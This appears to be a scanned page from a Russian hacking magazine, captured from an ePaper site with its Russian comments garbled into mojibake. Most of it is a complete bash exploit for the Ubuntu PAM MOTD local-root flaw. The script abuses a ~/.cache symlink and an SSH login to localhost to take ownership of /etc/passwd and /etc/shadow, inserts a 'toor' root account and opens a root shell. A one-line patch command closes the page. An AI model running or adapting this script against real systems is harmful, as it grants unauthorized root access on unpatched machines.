18.11.2014 Views

JIT SPRAY АНАЛИЗ TDSS - Xakep Online

JIT SPRAY АНАЛИЗ TDSS - Xakep Online

JIT SPRAY АНАЛИЗ TDSS - Xakep Online

SHOW MORE
SHOW LESS

You also want an ePaper? Increase the reach of your titles

YUMPU automatically turns print PDFs into web optimized ePapers that Google loves.

ВЗЛОМ<br />

Ubuntu. Шаг 1<br />

Ubuntu. Шаг 2. Теперь мы владельцы /etc/shadow<br />

echo "[*] Ubuntu PAM MOTD local root"<br />

# Ïðîâåðêè íà íàëè÷èå íóæíûõ ïàêåòîâ<br />

[ -z "$(which ssh)" ] && echo "[-] ssh is a requirement"<br />

&& exit 1<br />

[ -z "$(which ssh-keygen)" ] && echo "[-] ssh-keygen is a<br />

requirement" && exit 1<br />

[ -z "$(ps -u root |grep sshd)" ] && echo "[-] a running<br />

sshd is a requirement" && exit 1<br />

# Ïðîöåäóðà ñîõðàíåíèÿ ñòàðûõ ôàéëîâ<br />

backup() {<br />

[ -e "$1" ] && [ -e "$1".bak ] && rm -rf "$1".bak<br />

[ -e "$1" ] || return 0<br />

mv "$1"{,.bak} || return 1<br />

echo "[*] Backuped $1"<br />

}<br />

# Ïðîöåäóðà âîññòàíîâëåíèÿ ñòàðûõ ôàéëîâ<br />

restore() {<br />

[ -e "$1" ] && rm -rf "$1"<br />

[ -e "$1".bak ] || return 0<br />

mv "$1"{.bak,} || return 1<br />

echo "[*] Restored $1"<br />

}<br />

# ïðîöåäóðà ñîçäàíèÿ SSH-êëþ÷åé<br />

key_create() {<br />

backup ~/.ssh/authorized_keys<br />

ssh-keygen -q -t rsa -N '' -C 'pam' -f "$KEY" || return 1<br />

[ ! -d ~/.ssh ] && { mkdir ~/.ssh || return 1; }<br />

# ñîõðàíÿåì ïóáëè÷íûé êëþ÷ â äîâåðåííûõ êëþ÷àõ<br />

mv "$KEY.pub" ~/.ssh/authorized_keys || return 1<br />

echo "[*] SSH key set up"<br />

}<br />

# Óäàëÿåì äîâåðåííûå îòêðûòûå êëþ÷è<br />

key_remove() {<br />

rm -f "$KEY"<br />

restore ~/.ssh/authorized_keys<br />

echo "[*] SSH key removed"<br />

}<br />

# Òðèããåð óÿçâèìîñòè<br />

own() {<br />

[ -e ~/.cache ] && rm -rf ~/.cache<br />

# Ñîçäàåì ëèíê<br />

ln -s "$1" ~/.cache || return 1<br />

echo "[*] spawn ssh"<br />

# Èñïîëüçóÿ êëþ÷, âûïîëíÿåì SSH-ñîåäèíåíèå<br />

ssh -o 'NoHostAuthenticationForLocalhost yes' -i<br />

"$KEY" localhost true<br />

[ -w "$1" ] || { echo "[-] Own $1 failed"; restore<br />

~/.cache; bye; }<br />

echo "[+] owned: $1"<br />

}<br />

bye() {<br />

key_remove<br />

exit 1<br />

}<br />

# Îñíîâíîé êîä:<br />

KEY="$(mktemp -u)"<br />

# Ñîçäàåì êëþ÷è, ÷òî áû ñïîêîéíî þçàòü SSH áåç ââîäà ïàðîëÿ<br />

key_create || { echo "[-] Failed to setup SSH key"; exit<br />

1; }<br />

# Cîõðàíÿåì ñòàðûé .cache<br />

backup ~/.cache || { echo "[-] Failed to backup<br />

~/.cache"; bye; }<br />

# Àòàêà íà /etc/passwd<br />

own /etc/passwd && echo "$P" >> /etc/passwd<br />

# Àòàêà íà /etc/shadow<br />

own /etc/shadow && echo "$S" >> /etc/shadow<br />

# Âîññòàíàâëèâàåì .cache<br />

restore ~/.cache || { echo "[-] Failed to restore<br />

~/.cache"; bye; }<br />

# Óäàëÿåì êëþ÷è SSH, ÷òî íàãåíåðèëè<br />

key_remove<br />

echo "[+] Success! Use password toor to get root"<br />

# Îáíîâëÿåì áàçû ïàðîëåé èç ôàéëîâ<br />

# Ïîëó÷àåì øåëë<br />

# Äëÿ ýòîãî òðåáóåòñÿ ââåñòè ïàðîëü ïîëüçîâàòåëÿ toor…<br />

# ïàðîëü=toor<br />

su -c "sed -i '/toor:/d' /etc/{passwd,shadow}; chown<br />

root: /etc/{passwd,shadow}; chgrp shadow /etc/shadow;<br />

nscd -i passwd >/dev/null 2>&1; bash" toor<br />

SOLUTION<br />

Существует патч, ставим его так:<br />

user@ubuntu1004desktop:~$ sudo aptitude -y update<br />

050 XÀÊÅÐ 09 /140/ 10

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!